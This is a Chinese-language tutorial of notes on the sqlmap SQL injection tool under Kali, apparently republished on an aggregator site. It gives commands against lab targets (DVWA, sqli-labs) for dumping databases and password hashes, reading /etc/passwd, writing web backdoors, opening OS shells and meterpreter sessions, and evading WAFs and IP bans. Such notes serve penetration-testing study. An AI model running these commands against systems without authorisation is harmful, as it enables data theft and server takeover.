sqlmap 使用笔记(kali环境)

sqlmap使用

kali环境

  • -u或–url

    直接扫描单个路径

    //如果需要登录要有cookie
    sqlmap -u "http://10.0.0.6:8080/vulnerabilities/sqli/?id=1" 
    --cookie="PHPSESSID=isgvp2rv4uts46jbkb9bouq6ir;
    security=low"
    
  • -m

    文件中保存多个url,工具会依次扫描

    url1
    url2
    url3
    
  • -r

    从文件中获取http请求

    sqlmap -r text.txt 
    

    在这里插入图片描述

    文件内容直接copy

    当请求是HTTPS的时候,需要配合–force-ssl参数来使用,或者可以在Host头后面加上:443

  • 请求设置

    --method:指定请求方法
    --data:把数据以POST方式提交
    --param:当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数
    --cookie:设置cookie,提交请求的时候附带所设置的cookie
    --load-cookies:从文件获取cookie
    --user-agent:可以使用–user-anget参数来修改
    --headers:可以通过–headers参数来增加额外的http头
    --proxy:设置代理,可以避免本机地址被封禁
    --delay:可以设定两个HTTP(S)请求间的延迟 防止发送过快导致被封ip
    --random-agent:使用–random-agnet参数来随机的从./txt/user-agents.txt中获取。当–level
    参数设定为3或者3以上的时候,会尝试对User-Angent进行注入。
    --referer:在请求目标的时候可以自己伪造请求包中的referer
    –-level参数设定为3或者3以上的时候会尝试对referer注入。
    
    以POST方式提交
    sqlmap -u "url" --data="id=1"正则过滤目标网址
    --scope="(www)?\.target\.(com|net|org)"--safe-url:提供一个安全不错误的连接,每隔一段时间都会去访问一下。
    --safe-freq:提供一个安全不错误的连接,每次测试请求之后都会再访问一遍安全连接。-o 开启所有优化开关
    
    -p:设置想要测试的参数  -p "id,user-anget" 请求里面的参数
    --skip:不想要测试的参数可以通过 skip设置跳过  --skip="user-agent,referer"
    --dbms:指定数据库 节省sqlmap自己检测的时间
    --os:指定数据库服务系统 节省sqlmap自己检测的时间
    --tamper:使用sqlmap自带的tamper(脚本),或者自己写的tamper,来混淆payload,通常用来绕过
    waf和ips。
    

    在有些时候web服务器使用了伪静态,导致无法直接使用sqlmap测试参数,可以在想测试的参数后面加*

    "http://magedu/param1/value1*/param2/value2/"
    
  • 信息

    -a, --all 获取所有信息
    -b, --banner 获取数据库管理系统的标识
    --current-user 获取数据库管理系统当前用户
    --current-db 获取数据库管理系统当前数据库
    --hostname 获取数据库服务器的主机名称
    --is-dba 检测DBMS当前用户是否DBA(数据库管理员)
    --users 枚举数据库管理系统用户
    --passwords 枚举数据库管理系统用户密码哈希
    --privileges 枚举数据库管理系统用户的权限
    --roles 枚举数据库管理系统用户的角色
    --dbs 枚举数据库管理系统数据库
    --tables 枚举的DBMS数据库中的表
    --columns 枚举DBMS数据库表列
    --schema 枚举数据库架构
    --count 检索表的项目数
    --dump 转储数据库表项,即下载
    --dump-all 转储数据库所有表项
    --search 搜索列(S),表(S)和/或数据库名称(S)
    --comments 获取DBMS注释
    -D DB 要进行枚举的指定数据库名
    -T TBL DBMS数据库表枚举
    -C COL DBMS数据库表列枚举
    -X EXCLUDECOL DBMS数据库表不进行枚举
    -U USER 用来进行枚举的数据库用户
    --exclude-sysdbs 枚举表时排除系统数据库
    --pivot-column=P.. Pivot columnname
    --where=DUMPWHERE Use WHEREcondition while table dumping
    --start=LIMITSTART 获取第一个查询输出数据位置
    --stop=LIMITSTOP 获取最后查询的输出数据
    --first=FIRSTCHAR 第一个查询输出字的字符获取
    --last=LASTCHAR 最后查询的输出字字符获取
    --sql-query=QUERY 要执行的SQL语句
    --sql-shell 提示交互式SQL的shell
    --sql-file=SQLFILE 要执行的SQL文件
    
  • 爆破

    --common-tables 检查存在共同表
    --common-columns 检查存在共同列
    User-defined function injection(用户自定义函数注入):
    --udf-inject 注入用户自定义函数
    --shared-lib=SHLIB 共享库的本地路径
    
  • 访问文件

    --file-read=RFILE 从后端的数据库管理系统读取文件
    --file-write=WFILE 上传文件到后端的数据库管理系统
    --file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径--file-read "/etc/passwd"
    --file-write="/opt/test_code/user.txt" 
    --filedest="/var/www/html/user.txt"
    
  • 访问数据库

    --os-cmd=OSCMD 执行操作系统命令
    --os-shell 交互式的操作系统的shell
    --os-pwn 获取一个OOB shell,meterpreter或VNC
    --os-smbrelay 一键获取一个OOB shell,meterpreter或VNC
    --os-bof 存储过程缓冲区溢出利用
    --priv-esc 数据库进程用户权限提升
    --msf-path=MSFPATH Metasploit Framework 本地的安装路径
    --tmp-path=TMPPATH 远程临时文件目录的绝对路径
    
  • 操作

    找出数据库
    sqlmap -r text.txt -p id --dbs使用-D,-T参数指定想要获取哪个库的哪个表,不使用-D参数时,默认使用当前库
    找出数据库所有得表
    sqlmap -r text.txt -D dvwa --tables找出表的所有字段
    sqlmap -r text.txt -D dvwa -T users --columns找出数据,-D dvwa(数据库) -T users(表) -C last_name,password(字段)
    sqlmap -r text.txt -D dvwa -T users -C last_name,password --dump
    
    参数:--dump-all,--exclude-sysdbs
    使用--dump-all参数获取所有数据库表的内容,可同时加上--exclude-sysdbs排除系统数据库,只获取用户数据库的表,即业务数据
    

    参数:–os-cmd,–os-shell
    用–os-shell参数也可以模拟一个真实的shell,可以输入你想执行的命令。
    当不能执行多语句的时候(比如php或者asp的后端数据库为MySQL时),仍然可能使用INTO OUTFILE
    写进可写目录,来创建一个web后门

  • 爬虫

    爬行网站URL
    参数:--crawl
    sqlmap可以收集潜在的可能存在漏洞的连接,后面跟的参数是爬行的深度。此时的URL可以不带参数
    

    “–batch”命令来自动答复和判断

    –crawl=3 3为深度

    参数:–dump-format
    输出的格式可定义为:CSV,HTML,SQLITE

    参数:–output-dir
    sqlmap默认把session文件跟结果文件保存在output文件夹下,用此参数可自定义输出路径 例如:–
    output-dir=/tmp

补充

sqlmap -r http.txt  #http.txt是我们抓取的http的请求包
sqlmap -r http.txt -p username  #指定参数,当有多个参数而你又知道username参数存在SQL漏洞,你就可以使用-p指定参数进行探测
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"   #探测该url是否存在漏洞
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --cookie="抓取的cookie"   #当该网站需要登录时,探测该url是否存在漏洞
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --data="uname=admin&passwd=admin&submit=Submit"  #抓取其post提交的数据填入
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --users      #查看数据库的所有用户
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --passwords  #查看数据库用户名的密码
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-user  #查看数据库当前的用户
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --is-dba    #判断当前用户是否有管理员权限
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --roles     #列出数据库所有管理员角色,仅适用于oracle数据库的时候sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"  --dbs        #爆出所有的数据库
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"  --tables     #爆出所有的数据表
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"  --columns    #爆出数据库中所有的列
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"  --current-db #查看当前的数据库
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --tables #爆出数据库security中的所有的表
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --columns #爆出security数据库中users表中的所有的列
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username --dump  #爆出数据库security中的users表中的username列中的所有数据sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --dump-all   #爆出数据库security中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dump-all  #爆出该数据库中的所有数据sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --tamper=space2comment.py  #指定脚本进行过滤,用/**/代替空格
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --level=5 --risk=3 #探测等级5,平台危险等级3,都是最高级别。当level=2时,会测试cookie注入。当level=3时,会测试user-agent/referer注入。
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --sql-shell  #执行指定的sql语句
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --os-shell/--os-cmd   #执行--os-shell命令,获取目标服务器权限sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-read "c:/test.txt" #读取目标服务器C盘下的test.txt文件
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-write  test.txt  --file-dest "e:/hack.txt"  #将本地的test.txt文件上传到目标服务器的E盘下,并且名字为hack.txtsqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --dbms="MySQL"     #指定其数据库为mysql Firebird, HSQLDB, IBM DB2, Informix, Microsoft Access, Microsoft SQL Server, MySQL, Oracle, PostgreSQL, SAP MaxDB, SQLite, Sybase
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --random-agent   #使用任意的User-Agent爆破
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --proxy="http://127.0.0.1:8080"    #指定代理
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --technique T    #指定时间延迟注入,这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式,当然,我们也可以直接手工指定。
支持的探测方式如下:B: Boolean-based blind SQL injection(布尔型注入)E: Error-based SQL injection(报错型注入)U: UNION query SQL injection(可联合查询注入)S: Stacked queries SQL injection(可多语句查询注入)T: Time-based blind SQL injection(基于时间延迟注入)-v3                   #输出详细度  最大值5 会显示请求包和回复包
--threads 5           #指定线程数
--fresh-queries       #清除缓存
--flush-session       #清空会话,重构注入
--batch               #对所有的交互式的都是默认的
--random-agent        #任意的http头
--tamper base64encode            #对提交的数据进行base64编码
--referer http://www.baidu.com   #伪造referer字段--keep-alive     保持连接,当出现 [CRITICAL] connection dropped or unknown HTTP status code received. sqlmap is going to retry the request(s) 保错的时候,使用这个参数sqlmap -u  "http://192.168.10.1/sqli/Less-1/?id=1"  #探测该url是否存在漏洞//需要登录的
sqlmap -u  "http://192.168.10.1/sqli/Less-1/?id=1"   --cookie="抓取的cookie"  #探测该url是否存在漏洞"http://192.168.10.1/sqli/Less-11/?id=1" --data="uname=admin&passwd=admin&submit=Submit"  #抓取其post提交的数据填入--identify-waf   检测是否有WAF//直接获取shell(当前sql用户有写入权限)sqlmap -u "http://rykm6453.ia.aqlab.cn/single.php?id=1" --random-agent --os-shell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/2777856.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

93 log4j-slf4j-impl 搭配上 log4j-to-slf4j 导致的 StackOverflow

前言 呵呵 最近想要 做一个 mongo 低版本的客户端读取高版本的服务端传递过来的数据造成的一个错误的时候, 出现了这样的问题 引入了 mongo-java-driver 之后, 使用相关 api 的时候会触发 com.mongo.internal.connection.BaseCluser 的初始化, 其依赖的 Loggers 间接的依赖…

解决MapboxGL的Popup不支持HTMLDiv元素的问题

解决MapboxGL的Popup不支持HTMLDiv元素的问题 官网给出的文档是不支持HTMLDivElement的,只支持HTML标签。 如果单纯的只显示字符串,那就没问题,如果想在Popup中使用更强大的功能,此时就不行了,下面是源码的一部分显示…

python从入门到精通(十):python爬虫的BeautifulSoup4

python爬虫的BeautifulSoup4 BeautifulSoup4导入模块解析文件创建对象python解析器beautifulsoup对象的种类Tag获取整个标签获取标签里的属性和属性值Navigablestring 获取标签里的内容BeautifulSoup获取整个文档Comment输出的内容不包含注释符号BeautifulSoup文档遍历Beautifu…

金融信贷风控系统设计

前言 近一年多以来在金融行业负责风控系统,根据自己工作中的经验,写下这篇文章。既是对自己在风控领域工作的总结,也是给刚入行和准备入行的朋友打个样,希望能有所帮助。 为什么要有风控系统 记得 2016 年信贷行业的发展形势还…

JavaScript综合练习4

JavaScript 综合练习 4 1. 案例演示 2. 代码实现 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8" /><meta name"viewport" content"widthdevice-width, initial-scale1.0" /><title&…

[职场] 如何通过运营面试_1 #笔记#媒体#经验分享

如何通过运营面试 盈利是公司的事情&#xff0c;而用户就是你运营的事情。你需要彻底建立一个庞大而有效的用户群&#xff0c;这样才能让你们的公司想盈利就盈利&#xff0c;想战略就战略&#xff0c;想融资就融资。 一般从事运营的人有着强大的自信心&#xff0c;后台数据分析…

M1 Mac使用SquareLine-Studio进行LVGL开发

背景 使用Gui-Guider开发遇到一些问题,比如组件不全。使用LVGL官方的设计软件开发 延续上一篇使用的基本环境。 LVGL项目 新建项目 选择Arduino的项目,设定好分辨率及颜色。 设计UI 导出代码 Export -> Create Template Project 导出文件如图 将libraries下的ui文…

微服务学习 | Spring Cloud 中使用 Sentinel 实现服务限流

前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到网站https://www.captainbed.cn/kitie。 目录 前言 通过代码实现限流 定义资源 通过代码定义资源 通过注解方式定义资源 定义限流规则 通过…

第三章:光效果产生立体感

本文是《从0开始图形学》笔记的第三章&#xff0c;上一章中我们已经将箱子的整个形状“找出来”了&#xff0c;但是还仅仅只是一个色块区域。这一节我们就利用光将整个箱子的立体感凸显出来。涉及到布林冯光照模型以及向量的点乘运算。 概念解说 这里需要用到“布林冯”光照模…

C语言函数(三):数组和函数实现扫雷游戏

目录 1.扫雷游戏的分析和设计1.1.扫雷游戏的功能说明1.2.游戏的分析与设计1.2.1 数据结构的分析1.2.2 文件结构设计 2.扫雷游戏的代码实现 1.扫雷游戏的分析和设计 1.1.扫雷游戏的功能说明 使用控制台实现经典的扫雷游戏游戏可以通过菜单实现继续玩游戏或者退出游戏扫雷的棋盘…

网课:数独挑战——牛客(题解与疑问)

题目描述 数独是一种填数字游戏&#xff0c;英文名叫 Sudoku&#xff0c;起源于瑞士&#xff0c;上世纪 70 年代由美国一家数学逻辑游戏杂志首先发表&#xff0c;名为 Number Place&#xff0c;后在日本流行&#xff0c;1984 年将 Sudoku 命名为数独&#xff0c;即 “独立的数…

刘谦春晚纸牌魔术背后的数学—海明码原理简介

在昨天2024年的春晚舞台上&#xff0c;魔术大师刘谦以一场令人拍案叫绝的纸牌魔术再度震撼全场。他巧妙地利用了数学原理&#xff0c;精准无误地让观众“随机”选择的纸牌完成了配对&#xff0c;尤其是令人忍俊不禁的是主持人尼格买提的纸牌却没有如愿配对&#xff0c;小尼碎了…

机器学习复习(8)——逻辑回归

目录 逻辑函数&#xff08;Logistic Function&#xff09; 逻辑回归模型的假设函数 从逻辑回归模型转换到最大似然函数过程 最大似然函数方法 梯度下降 逻辑函数&#xff08;Logistic Function&#xff09; 首先&#xff0c;逻辑函数&#xff0c;也称为Sigmoid函数&#…

安全之护网(HVV)、红蓝对抗

文章目录 红蓝对抗什么是护网行动&#xff1f;护网分类护网的时间 什么是红蓝对抗红蓝对抗演练的目的什么是企业红蓝对抗红蓝对抗价值参考 红蓝对抗 什么是护网行动&#xff1f; 护网的定义是以国家组织组织事业单位、国企单位、名企单位等开展攻防两方的网络安全演习。进攻方…

C++ 贪心 区间问题 区间选点

给定 N 个闭区间 [ai,bi] &#xff0c;请你在数轴上选择尽量少的点&#xff0c;使得每个区间内至少包含一个选出的点。 输出选择的点的最小数量。 位于区间端点上的点也算作区间内。 输入格式 第一行包含整数 N &#xff0c;表示区间数。 接下来 N 行&#xff0c;每行包含两…

洛谷p4391 无限传输

考察字符串周期的题 题目链接 结论 要求字串 s s s的最短循环字串长就是&#xff1a; a n s n − p m t [ n ] ansn-pmt[n] ansn−pmt[n] 证明如下&#xff1a; 这是最大的前缀和后缀 现在我们做如下操作&#xff1a; 补全字段 a a a和字段 b b b&#xff0c;按子段 a a a的…

Linux操作系统基础(五):Linux的目录结构

文章目录 Linux的目录结构 一、Linux目录与Windows目录区别 二、常见目录介绍&#xff08;记住重点&#xff09; Linux的目录结构 一、Linux目录与Windows目录区别 Linux的目录结构是一个树型结构 Windows 系统 可以拥有多个盘符, 如 C盘、D盘、E盘 Linux 没有盘符 这个概…

AJAX——AJAX入门

1 什么是AJAX&#xff1f; Ajax&#xff08;Asynchronous JavaScript and XML&#xff09;是一种用于在Web应用程序中实现异步通信的技术。 简单点说&#xff0c;就是使用XMLHttpRequest对象与服务器通信。它可以使用JSON、XML、HTML和test文本等格式发送和接收数据。 AJAX最吸…

机器学习系列——(十一)回归

引言 在机器学习领域&#xff0c;回归是一种常见的监督学习任务&#xff0c;它主要用于预测数值型目标变量。回归分析能够通过对输入特征与目标变量之间的关系建模&#xff0c;从而对未知数据做出预测。 概念 回归是机器学习中的一种监督学习方法&#xff0c;用于预测数值型目…

一个坐标系查询网站python获取所有坐标系

技术路线选择 我是使用的vue 3开发的网页界面&#xff0c;element-plus构建网页组件&#xff0c;openlayer展示地图&#xff0c;express提供后端API&#xff0c;vercel进行在线部署。 python获取所有坐标系 想要展示所有坐标系&#xff0c;那需要先获取坐标系&#xff0c;怎么…